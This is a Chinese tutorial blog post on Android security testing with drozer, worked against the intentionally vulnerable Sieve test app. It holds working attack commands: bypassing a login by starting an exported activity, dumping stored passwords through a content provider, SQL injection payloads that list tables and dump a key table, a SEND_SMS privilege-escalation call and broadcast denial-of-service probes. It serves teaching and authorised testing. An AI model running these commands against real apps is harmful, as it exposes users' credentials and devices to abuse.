前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安全测试|移动端安全测试drozer

安全测试|移动端安全测试drozer

作者头像
测试邦
发布2019-07-24 11:16:20
1.6K0
发布2019-07-24 11:16:20
举报
文章被收录于专栏:测试邦测试邦测试邦

手机应用的快速增长,手机应用安全成为一个热门的话题,android的安全问题有一大部分的原因是因为android的组件暴露、权限使用不当导致的。

“ 随着互联网应用的普及和人们对互联网的依赖,互联网的安全问题也日益凸显。接下来的小编将带您进入安全测试。”

一、android四大组件

什么是安卓应用组件?安卓主要由四大组件组成,Activity、Service、Content Providers、Broadcast Receivers.

Activity:是一个应用程序的组件,一个activity对应一个界面,是与用户进行交互的。

Activity形态:

Active/Running: Activity处于活动状态,此时Activity处于栈顶,是可见状态,可与用户进行交互。 Paused: 当Activity失去焦点时,或被一个新的非全屏的Activity,或被一个透明的Activity放置在栈顶时,Activity就转化为Paused状态。但我们需要明白,此时Activity只是失去了与用户交互的能力,其所有的状态信息及其成员变量都还存在,只有在系统内存紧张的情况下,才有可能被系统回收掉。 Stopped: 当一个Activity被另一个Activity完全覆盖时,被覆盖的Activity就会进入Stopped状态,此时它不再可见,但是跟Paused状态一样保持着其所有状态信息及其成员变量。 Killed: 当Activity被系统回收掉时,Activity就处于Killed状态。 Activity会在以上四种形态中相互切换,至于如何切换,这因用户的操作不同而异。了解了Activity的4种形态后,我们就来聊聊Activity的生命周期。

Service:Service通常位于后台运行,它一般不需要与用户交互,因此Service组件没有图形用户界面。Service组件需要继承Service基类。Service组件通常用于为其他组件提供后台服务或监控其他组件的运行状态。

Content Providers:Content Provider用于保存和获取数据,并使其对所有应用程序可见。这是不同应用程序间共享数据的唯一方式,因为android没有提供所有应用共同访问的公共存储区。只有需要在多个应用程序间共享数据是才需要内容提供者。

Broadcast Receivers:广播接收器没有用户界面。然而,它们可以启动一个activity或service来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力,例如闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

二、环境搭建

android sdk;

adb 安装;

jdk安装,这里需要是哟啊能1.7以下的jdk,使用1.8的会报错,drozer暂不支持1.8的jdk

drozer安装:

Drozer是一个常用的测试框架,它可以分为2个部分,一个是console-它运行在本地的计算机上,一个是server-它运行在android设备上。当你使用console与android设备交互时,基本上就是java代码输入到运行在实际设备上的drozer代理(agent)中。

drozer下载:https://labs.mwrinfosecurity.com/tools/drozer/ 下载drozer(msi)、agent.apk

Drozer安装:windows下点击msi直接安装

agent安装:在测试机上安装agent.apk

sieve安装:下载sieve.apk,该apk是用来作为被测试的app

三、drozer验证

  1. 1.打开cmd,运行adb forward tcp:31415 tcp:31415,如图所示

2.在Android设备上开启Drozer Agent,如图所示:

此时可以看到enable是绿色的了。

3.在pc端cmd切换到drozer安装目前,然后运行 drozer console connect,如图所示:

四、测试

1.获取要测试应用的包名

dz>run app.package.list -f sieve ,-f它是模糊匹配,匹配包名中的任一字段,会列出包含该字段的所有包名

2.获取应用的基本信息

dz>run app.package.info -a com.mwr.example.sieve ,查看该apk详细信息,可以看到应用的版本信息,数据存储的目录,用户ID,组ID,是否有共享库,还有权限信息等

3.确定存在可能被攻击的界面

dz>run app.package.attacksurface com.mwr.example.sieve

显示了潜在可以被利用的组件个数: “exported”表示组件可以被其他App使用, services is debuggable表示我们可以用adb绑定一个调试器到进程。暴露出来的3个activity,2个content provider,2个可以被adb绑定的service。

4.activity测试

(1)获取activity信息

dz>run app.activity.info -a com.mwr.example.sieve

可以看到有三个界面是可以被利用的。

(2)启动activity

dz>run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList 通过app.activity.start命令可以不需要密码直接进入passwordList界面

5.Content Provider测试

(1)获取Content Provider信息

run app.provider.info -a com.mwr.example.sieve

(2)Content Providers(数据泄露)

先获取所有可以访问的Uri:

run scanner.provider.finduris -a com.mwr.example.sieve

获取各个Uri的数据:

dz>run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical 查询到数据说明存在漏洞

可以看到此时有一条数据,该条数据是之前在app添加的数据。这里暴露了service、username、password、email的信息。

(3)Content Providers(SQL注入)

content provider的具体信息,包括名字,权限,访问路径等

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

报错则说明存在SQL注入,我们可以继续查询看看有哪些数据。

列出所有表:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table';--"

获取某个表(如Key)中的数据:

dz>run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

(4)同时检测SQL注入和目录遍历

dz>run scanner.provider.injection -a com.mwr.example.sieve

5.service测试

(1)获取service详情

dz>run app.service.info -a com.mwr.example.sieve

(2)权限提升

dz>run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

6.broadcast receive测试

(1)查看暴露的广播组件信息:

dz>run app.broadcast.info -a com.package.name  

获取broadcast receivers信息

dz>run app.broadcast.send --component 包名 --action android.intent.action.XXX

(2)尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

dz>run app.broadcast.send 通过intent发送broadcast receiver

Drozer之所以称之为框架(framework),因为它允许你编写自己的模块或者插件,扩展你的功能让它试用你的功能。它的另外一个作用是,它本质上市一个不需要任何权限的android app—这实际上是它的组件。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-08-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 测试邦 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据保险箱
数据保险箱(Cloud Data Coffer Service,CDCS)为您提供更高安全系数的企业核心数据存储服务。您可以通过自定义过期天数的方法删除数据,避免误删带来的损害,还可以将数据跨地域存储,防止一些不可抗因素导致的数据丢失。数据保险箱支持通过控制台、API 等多样化方式快速简单接入,实现海量数据的存储管理。您可以使用数据保险箱对文件数据进行上传、下载,最终实现数据的安全存储和提取。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档